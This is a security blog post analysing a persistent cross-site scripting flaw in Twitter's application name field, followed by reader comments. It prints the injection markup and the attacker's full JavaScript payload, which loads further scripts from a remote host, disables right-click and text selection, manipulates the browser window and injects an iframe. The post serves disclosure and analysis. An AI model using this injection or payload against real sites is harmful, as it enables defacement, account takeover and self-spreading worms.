Persistent XSS on Twitter.com

Twitter user 0wn3d_5ys has demonstrated a persistent cross site scripting (XSS) vulnerability on Twitter he found on June 21st using his own Twitter account (visit at your own risk) that appears to be due to a lack of input validation of the application name field when accepting new requests for Twitter applications. Visiting his account on Twitter results in a pair of classic cross site scripting alert boxes, then your browser is manipulated, finally you enter the matrix (see below), and get messages from the researcher who found the vulnerability.


Initial result of visiting the affected Twitter profile.


Alert box one.


Alert box 2.


Then you're in the matrix.


And lest you wonder at his intentions, he supplies the following messages into the pages title tag:

tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: 
Indonesian H4x0r";

He announced the find on his blog as well as the Indonesian forum Balikita.

The Vulnerable Field

The problem is similar to one described last August by James Slater. That time around the issue was with the application URL, this time it appears the application name is the issue.

The code containing the injection occurs at the application name field (the via “Application name” you see on your tweets).

<span>via <a href="http://www.0wn3d-5ys.co.cc" rel="nofollow">Ub­­&shy;erTw­i­&shy;tter<span 
style="visibility: hidden"&gt; <script src='http://is.gd/cWO66' type='text/javascript'&gt;</script&gt;</a>
</span>

What do you notice right away? There’s no closing bracket on the closing script tag (Twitter is encoding as gt, at least partially, what was submitted). Here the researcher seems to get lucky in that his closing script tag is ignored, and the page falls all the way through to another Javascript include before it starts interpreting the markup again. Fortunately the next thing the browser interprets is the closing script tag on a Twitter included Javascript, thus the code injection works:

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>

Injection location.


This field is supplied when an application is set up via the Twitter Application Registration page.

Where Application Name is supplied.


The Javascript

The shortened URL included (http://is.gd/cWO66) redirects to: http://h1.ripway.com/www.Frendster.com/011.js.

//*----------------------------------*//
alert("::::::||+ </X55ED> + H4x0r-x0x  +||:::::: ");
alert("::::::::::::::::||+ Page Twitter Owned By: H4x0r-x0x +||:::::::::::::::: \n ::::::||+ H4x0r-x0x From Forum.Balikita.Net & Ungu.com +||::::::");

//*----------------------------------*//
var myjs = document.createElement("script");
myjs.type = "text/javascript";
myjs.src = "http://h1.ripway.com/www.Frendster.com/H4x0r.js";
document.getElementsByTagName("head")[0].appendChild(myjs);

//*----------------------------------*//
var shortc = document.createElement("link");
shortc.rel = "SHORTCUT ICON";
shortc.href = "http://img532.imageshack.us/img532/4308/indonesiaflag.gif";
document.getElementsByTagName("head")[0].appendChild(shortc);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href","http://h1.ripway.com/www.Frendster.com/twitt.css");
document.getElementsByTagName("head")[0].appendChild(css);

//*----------------------------------*//
var css = document.createElement("link");
css.setAttribute("rel","stylesheet");
css.setAttribute("href"," http://h1.ripway.com/www.Frendster.com/css.css");
document.getElementsByTagName("head")[0].appendChild(css);

//**************************************//

//**************************************//

function tb8_makeArray(n){
this.length = n;
return this.length;
}
tb8_messages = new tb8_makeArray(4);
tb8_messages[0] = "My Twitter Owned By : H4x0r-x0x..";
tb8_messages[1] = "I can not play twitter";
tb8_messages[2] = "Injections XSSED On Twitter By: H4x0r-x0x";
tb8_messages[3] = "there is no crime here! I just create To smarten view my Twitter profile. Coding by: Indonesian H4x0r";
tb8_rptType = 'infinite';
tb8_rptNbr = 5;
tb8_speed = 100;
tb8_delay = 2000;
var tb8_counter=1;
var tb8_currMsg=0;
var tb8_tekst ="";
var tb8_i=0;
var tb8_TID = null;
function tb8_pisi(){
tb8_tekst = tb8_tekst + tb8_messages[tb8_currMsg].substring(tb8_i, tb8_i+1);
document.title = tb8_tekst;
tb8_sp=tb8_speed;
tb8_i++;
if (tb8_i==tb8_messages[tb8_currMsg].length){
tb8_currMsg++; tb8_i=0; tb8_tekst="";tb8_sp=tb8_delay;
}
if (tb8_currMsg == tb8_messages.length){
if ((tb8_rptType == 'finite') && (tb8_counter==tb8_rptNbr)){
clearTimeout(tb8_TID);
return;
}
tb8_counter++;
tb8_currMsg = 0;
}
tb8_TID = setTimeout("tb8_pisi()", tb8_sp);
}
tb8_pisi()


//------

var message=" syapakahh Qwueee.. w4s Hare ";
///////////////////////////////////
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false")
// -->


//***********//
//form tags to omit in NS6+:
var omitformtags=["input", "textarea", "select"]

omitformtags=omitformtags.join("|")

function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
return false
}

function reEnable(){
return true
}

if (typeof document.onselectstart!="undefined")
document.onselectstart=new Function ("return false")
else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}

/***********/

scrW=screen.availWidth
scrH=screen.availHeight
window.resizeTo(10,10)
window.focus()
for(a=0;a<80;a++){
window.moveTo(0,0)
window.resizeTo(0,scrH*a/80)
}

window.resizeTo(0,0)
for(b=0;b<80;b++){
window.moveTo(0,scrH/1)
window.resizeTo(scrW*b/80,0)
}

for(c=0;c<80;c++){
window.moveTo(scrW/1,scrH/1)
window.resizeTo(0,scrH*c/80)
}

for(d=0;d<80;d++){
window.moveTo(scrW/1,0)
window.resizeTo(scrW*d/80,0)
}

for(e=0;e<80;e++){
window.resizeTo(scrW*e/80,scrH*e/80)
}

window.moveTo(0,0)
window.resizeTo(scrW,scrH) 

///************************///
var wibiya_pl = "false";
var wibiya_nc = "true";
var wibiya_latestJq = false;
var wibiya_flashFix = false;
var wibiya_jQuery_ver = 132;
var wibiyaTimeoutId;

function jquery_ver(){
    return parseInt(jQuery.fn.jquery.replace(/\./gi,'').substring(0,3));
}

if (!Array.prototype.indexOf) {
    Array.prototype.indexOf = function(obj, start) {
        for (var i = (start || 0), j = this.length; i < j; i++) {
            if (this[i] === obj) {
                return i;
            }
        }
        return -1;
    }
}

function loadjscssfile(filename, filetype, where){
    var fileref;
    if (filetype=="js"){ //if filename is a external JavaScript file
        fileref=document.createElement("script");
        fileref.setAttribute("type","text/javascript");
        fileref.setAttribute("src", filename);
    }
    else if (filetype=="css"){ //if filename is an external CSS file
        fileref=document.createElement("link");
        fileref.setAttribute("rel", "stylesheet");
        fileref.setAttribute("type", "text/css");
        fileref.setAttribute("href", filename);
    }
    if (typeof fileref!="undefined"){
        if (where=="head"){
            document.getElementsByTagName("head")[0].appendChild(fileref);
        }
        else{
            document.getElementsByTagName("body")[0].appendChild(fileref);
        }
    }
}

function CheckJQueryLoader(toolbarId)
{
    if (typeof jQuery == "function")
    {
        if (!wibiya_latestJq)
        {
            clearTimeout(wibiyaTimeoutId);
            SetToolbarLoad();
        }
        else
        {
            if (jquery_ver() >= wibiya_jQuery_ver)
            {
                clearTimeout(wibiyaTimeoutId);
                SetToolbarLoad();
            }
            else
            {
                wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
            }
        }
    }
    else
    {
        wibiyaTimeoutId =  setTimeout("CheckJQueryLoader("+toolbarId+");",200);
    }
}

function getQueryParam(name){
    var qString = window.location.search.substring(1).split("&");
    var params = new Array();

    var p;
    for(var i=0; i<qString.length; i++){
        p = qString[i].split("=");
        params[p[0]] = p[1];
    }

    return params[name];
}

function SetToolbarLoad(){
    var wibiya_mobiles = ["iphone","ipod","ipad","series60","symbian","android","windows ce",
        "blackberry","palm","avantgo","docomo","vodafone","j-phone",
        "xv6850","htc","lg;","lge","mot","nintendo","nokia","samsung","sonyericsson"];
    wibiyaToolbar.wibiya_isMobile = false;
    wibiyaToolbar.wibiya_uAgent = navigator.userAgent.toLowerCase();
    for(var i=0;i<wibiya_mobiles.length;i++){
        if(wibiyaToolbar.wibiya_uAgent.match(wibiya_mobiles[i]) != null){
            wibiyaToolbar.wibiya_isMobile = true;
            break;
        }
    }

    if ((jQuery.browser.msie && parseInt(jQuery.browser.version)==6) ||  wibiyaToolbar.wibiya_isMobile == true){
        // ie 6 and below -> do nothing
    }
    else{
        if(wibiya_flashFix === true){
            wibiyaToolbar.rewriteFlash = 0;
            wibiyaToolbar.framework.FlashFix();
            wibiyaToolbar.rewriteFlashInterval = setInterval("wibiyaToolbar.framework.FlashFix();", 3333);
        }

        wibiyadomain = "http://cdn.wibiya.com/Toolbars/dir_0463/Toolbar_463831/";
        // no-conflict
        if (wibiya_nc=="true") jQuery.noConflict();

        var altToolbar = getQueryParam("toolbarObjId");
        // detect jd_gallery, ie, user_request - load page after document.ready
        if (typeof (startGallery) == "function" || jQuery.browser.msie || wibiya_pl=="true") {
            var wibiyaScriptSrc;
            jQuery(document).ready(function(){
                if (typeof altToolbar == "undefined"){
                    wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
                }
                else{
                    wibiyaScriptSrc = altToolbar;
                }
                loadjscssfile(wibiyaScriptSrc,"js","body");
            });
        }
        else{
            if (typeof altToolbar == "undefined"){
                wibiyaScriptSrc = wibiyadomain+"toolbar_463831_4c1ec2a47b60f.js";
            }
            else{
                wibiyaScriptSrc = altToolbar;
            }
            loadjscssfile(wibiyaScriptSrc,"js","body");
        }
    }
}


if (typeof(wibiyaToolbar)!="object"){
    if ( typeof jQuery != "function"){
        loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
    }
    else{
        if (wibiya_latestJq && jquery_ver() != wibiya_jQuery_ver){
            loadjscssfile("http://cdn.wibiya.com/Scripts/jquery-1.4.2.min.js","js","head");
        }
    }

    var wibiyaToolbar = {};
    wibiyaToolbar.framework = {};

    wibiyaToolbar.id="463831";
    wibiyaToolbar.referrer=document.referrer;
    CheckJQueryLoader(wibiyaToolbar.id);
}


/************************************************************************/
/* Rainbow Links Version 1.03 (2003.9.20)                               */
/* Script updated by Dynamicdrive.com for IE6                           */
/* Copyright (C) 1999-2001 TAKANASHI Mizuki                             */
/* [email protected]                                        */
/*----------------------------------------------------------------------*/
/* Read it somehow even if my English text is a little wrong! ;-)       */
/*                                                                      */
/* Usage:                                                               */
/*  Insert '<script src="rainbow.js"></script>' into the BODY section,  */
/*  right after the BODY tag itself, before anything else.              */
/*  You don't need to add "onMouseover" and "onMouseout" attributes!!   */
/*                                                                      */
/*  If you'd like to add effect to other texts(not link texts), then    */
/*  add 'onmouseover="doRainbow(this);"' and                            */
/*  'onmouseout="stopRainbow();"' to the target tags.                   */
/*                                                                      */
/* This Script works with IE4,Netscape6,Mozilla browser and above only, */
/* but no error occurs on other browsers.                               */
/************************************************************************/


////////////////////////////////////////////////////////////////////
// Setting

var rate = 20;  // Increase amount(The degree of the transmutation)


////////////////////////////////////////////////////////////////////
// Main routine

if (document.getElementById)
window.onerror=new Function("return true")

var objActive;  // The object which event occured in
var act = 0;    // Flag during the action
var elmH = 0;   // Hue
var elmS = 128; // Saturation
var elmV = 255; // Value
var clrOrg;     // A color before the change
var TimerID;    // Timer ID


if (document.all) {
    document.onmouseover = doRainbowAnchor;
    document.onmouseout = stopRainbowAnchor;
}
else if (document.getElementById) {
    document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
    document.onmouseover = Mozilla_doRainbowAnchor;
    document.onmouseout = Mozilla_stopRainbowAnchor;
}


//=============================================================================
// doRainbow
//  This function begins to change a color.
//=============================================================================
function doRainbow(obj)
{
    if (act == 0) {
        act = 1;
        if (obj)
            objActive = obj;
        else
            objActive = event.srcElement;
        clrOrg = objActive.style.color;
        TimerID = setInterval("ChangeColor()",100);
    }
}


//=============================================================================
// stopRainbow
//  This function stops to change a color.
//=============================================================================
function stopRainbow()
{
    if (act) {
        objActive.style.color = clrOrg;
        clearInterval(TimerID);
        act = 0;
    }
}


//=============================================================================
// doRainbowAnchor
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function doRainbowAnchor()
{
    if (act == 0) {
        var obj = event.srcElement;
        while (obj.tagName != 'A' && obj.tagName != 'BODY') {
            obj = obj.parentElement;
            if (obj.tagName == 'A' || obj.tagName == 'BODY')
                break;
        }

        if (obj.tagName == 'A' && obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = objActive.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// stopRainbowAnchor
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function stopRainbowAnchor()
{
    if (act) {
        if (objActive.tagName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Mozilla_doRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function begins to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_doRainbowAnchor(e)
{
    if (act == 0) {
        obj = e.target;
        while (obj.nodeName != 'A' && obj.nodeName != 'BODY') {
            obj = obj.parentNode;
            if (obj.nodeName == 'A' || obj.nodeName == 'BODY')
                break;
        }

        if (obj.nodeName == 'A' && obj.href != '') {
            objActive = obj;
            act = 1;
            clrOrg = obj.style.color;
            TimerID = setInterval("ChangeColor()",100);
        }
    }
}


//=============================================================================
// Mozilla_stopRainbowAnchor(for Netscape6 and Mozilla browser)
//  This function stops to change a color. (of a anchor, automatically)
//=============================================================================
function Mozilla_stopRainbowAnchor(e)
{
    if (act) {
        if (objActive.nodeName == 'A') {
            objActive.style.color = clrOrg;
            clearInterval(TimerID);
            act = 0;
        }
    }
}


//=============================================================================
// Change Color
//  This function changes a color actually.
//=============================================================================
function ChangeColor()
{
    objActive.style.color = makeColor();
}


//=============================================================================
// makeColor
//  This function makes rainbow colors.
//=============================================================================
function makeColor()
{
    // Don't you think Color Gamut to look like Rainbow?

    // HSVtoRGB
    if (elmS == 0) {
        elmR = elmV;    elmG = elmV;    elmB = elmV;
    }
    else {
        t1 = elmV;
        t2 = (255 - elmS) * elmV / 255;
        t3 = elmH % 60;
        t3 = (t1 - t2) * t3 / 60;

        if (elmH < 60) {
            elmR = t1;  elmB = t2;  elmG = t2 + t3;
        }
        else if (elmH < 120) {
            elmG = t1;  elmB = t2;  elmR = t1 - t3;
        }
        else if (elmH < 180) {
            elmG = t1;  elmR = t2;  elmB = t2 + t3;
        }
        else if (elmH < 240) {
            elmB = t1;  elmR = t2;  elmG = t1 - t3;
        }
        else if (elmH < 300) {
            elmB = t1;  elmG = t2;  elmR = t2 + t3;
        }
        else if (elmH < 360) {
            elmR = t1;  elmG = t2;  elmB = t1 - t3;
        }
        else {
            elmR = 0;   elmG = 0;   elmB = 0;
        }
    }

    elmR = Math.floor(elmR).toString(16);
    elmG = Math.floor(elmG).toString(16);
    elmB = Math.floor(elmB).toString(16);
    if (elmR.length == 1)    elmR = "0" + elmR;
    if (elmG.length == 1)    elmG = "0" + elmG;
    if (elmB.length == 1)    elmB = "0" + elmB;

    elmH = elmH + rate;
    if (elmH >= 360)
        elmH = 0;

    return '#' + elmR + elmG + elmB;
}


//****************************//
var scrolltotop={setting:{startline:100,scrollto:0,scrollduration:1000,fadeduration:[500,100]},controlHTML:'<iframe title="h4x0r-x0x" src="http://www5.shoutmix.com/?h4x0r-x0x" width="500" height="700" frameborder="0" scrolling="auto"></iframe>',controlattrs:{offsetx:5,offsety:5},anchorkeyword:'#top',state:{isvisible:false,shouldvisible:false},scrollup:function(){if(!this.cssfixedsupport)
this.$control.css({opacity:0})
var dest=isNaN(this.setting.scrollto)?this.setting.scrollto:parseInt(this.setting.scrollto)
if(typeof dest=="string"&&jQuery('#'+dest).length==1)
dest=jQuery('#'+dest).offset().top
else
dest=0
this.$body.animate({scrollTop:dest},this.setting.scrollduration);},keepfixed:function(){var $window=jQuery(window)
var controlx=$window.scrollLeft()+$window.width()-this.$control.width()-this.controlattrs.offsetx
var controly=$window.scrollTop()+$window.height()-this.$control.height()-this.controlattrs.offsety
this.$control.css({left:controlx+'px',top:controly+'px'})},togglecontrol:function(){var scrolltop=jQuery(window).scrollTop()
if(!this.cssfixedsupport)
this.keepfixed()
this.state.shouldvisible=(scrolltop>=this.setting.startline)?true:false
if(this.state.shouldvisible&&!this.state.isvisible){this.$control.stop().animate({opacity:1},this.setting.fadeduration[0])
this.state.isvisible=true}
else if(this.state.shouldvisible==false&&this.state.isvisible){this.$control.stop().animate({opacity:0},this.setting.fadeduration[1])
this.state.isvisible=false}},init:function(){jQuery(document).ready(function($){var mainobj=scrolltotop
var iebrws=document.all
mainobj.cssfixedsupport=!iebrws||iebrws&&document.compatMode=="CSS1Compat"&&window.XMLHttpRequest
mainobj.$body=(window.opera)?(document.compatMode=="CSS1Compat"?$('html'):$('body')):$('html,body')
mainobj.$control=$('<div id="topcontrol">'+mainobj.controlHTML+'</div>').css({position:mainobj.cssfixedsupport?'fixed':'absolute',bottom:mainobj.controlattrs.offsety,right:mainobj.controlattrs.offsetx,opacity:0,cursor:'pointer'}).attr({title:'Scroll Back to Top'}).click(function(){mainobj.scrollup();return false}).appendTo('body')
if(document.all&&!window.XMLHttpRequest&&mainobj.$control.text()!='')
mainobj.$control.css({width:mainobj.$control.width()})
mainobj.togglecontrol()
$('a[href="'+mainobj.anchorkeyword+'"]').click(function(){mainobj.scrollup()
return false})
$(window).bind('scroll resize',function(e){mainobj.togglecontrol()})})}}
scrolltotop.init()

H4X0R-X0X

The researcher who found the problem hosts his blog at a .co.cc URL. While .cc is the country code for the Cocos (Keeling) Islands in Australia, .co.cc is actually a company offering free subdomain redirection services (http://www.co.cc/). The IP address of the blog (74.125.113.121) is shown as owned by Google Inc.. Perhaps the most relevant piece of origin information is the language used on the blog and in the forum, Indonesian.

The flag isn’t a bad clue either.

Forum post at Balikita.net, a Community of Art.


Impact

As demonstrated in the past, XSS vulnerabilities in Twitter have been successfully used to take over accounts and create worms (Mikeyy, StalkDaily). Infection (account takeover) can be accomplished simply by visiting a profile with an include of a malicious Javascript, making a true self propagating web site worm possible as opposed to other more recent attacks based on phishing a user’s credentials with a fake Twitter login screen (the LOL is this you style attacks).

Twitter's Del Harvey

This might be Twitter’s first serious cross site scripting vulnerability since the beginning of this year. Twitter has to correct this quickly as it was public knowledge before this post, and has been for days. We note that the problem has been reported to Twitter by a fellow researcher, and we also reported the issue to Del Harvey (Twitter’s Trust and Safety Team). We could have gone through the security e-mail address, but frankly the last time we did that the response irritated us. And since Harvey once worked in a mental institution, she is probably the most qualified to deal with security people.

Update

As of 6pm the problem is still active in old applications, as one of our commentators below pointed out (with a working example). Twitter advised that the project has been corrected for new applications.

Filed Under: Social Networking

Tags: , , ,

Comments (15)

Trackback URL | Comments RSS Feed

  1. [...] Przypomiamy, że właśnie tego typu ataki wykonujemy (i unicestwiamy) na szkoleniach z atakowania i ochrony webaplikacji — jest jeszcze kilka miejsc, zapraszamy do rejestracji :-) źródło [...]

  2. The IP address of the blog (74.125.113.121) is shown as owned by Google Inc.

    • He’s hosting his blog on Blogger.com; which owns by Google.
  3. [...] all you out there in the Twitterverse – it looks like a new vulnerability has hit the troubled microblogging site and this time it has nothing to do with a man howling [...]

  4. I just received word from twitter that the issue has been fixed. I have not confirmed personally however.

    Great write up btw!

  5. [...] all you out there in the Twitterverse – it looks like a new vulnerability has hit the troubled microblogging site and this time it has nothing to do with a man howling [...]

  6. indonesia hackers says:

    how about these http://twitter.com/marahmerah

    • Prefect says:

      Not fully fixed, at least for existing applications, I guess.

      Twitter stated the application registration form part itself was corrected.

  7. [...] within hours of the announcement, a brand-new security hole was discovered, on Twitter.com. Your tax dollars at [...]

  8. al3x 0wn5 says:

    Good Job Brothers

  9. [...] Write Web had the story on Thursday: Information security blog Praetorian Prefect has dug deep into what looks like a new persistent cross-site scripting (XSS) vulnerability on [...]

  10. famous666 says:

    wow , he’s my friend . i don’t believe it .

    good job my friend . thumbs up ….

    LOL ;D

  11. [...] A persistent cross-site scripting (XSS) vulnerability was discovered on Twitter. You may recall a similar incident some time ago, but whereas the previous case involved the application URL, this time around it involves the application name. [...]

  12. [...] A persistent cross-site scripting (XSS) vulnerability was discovered on Twitter. You may recall a similar incident some time ago, but whereas the previous case involved the application URL, this time around it involves the application name. [...]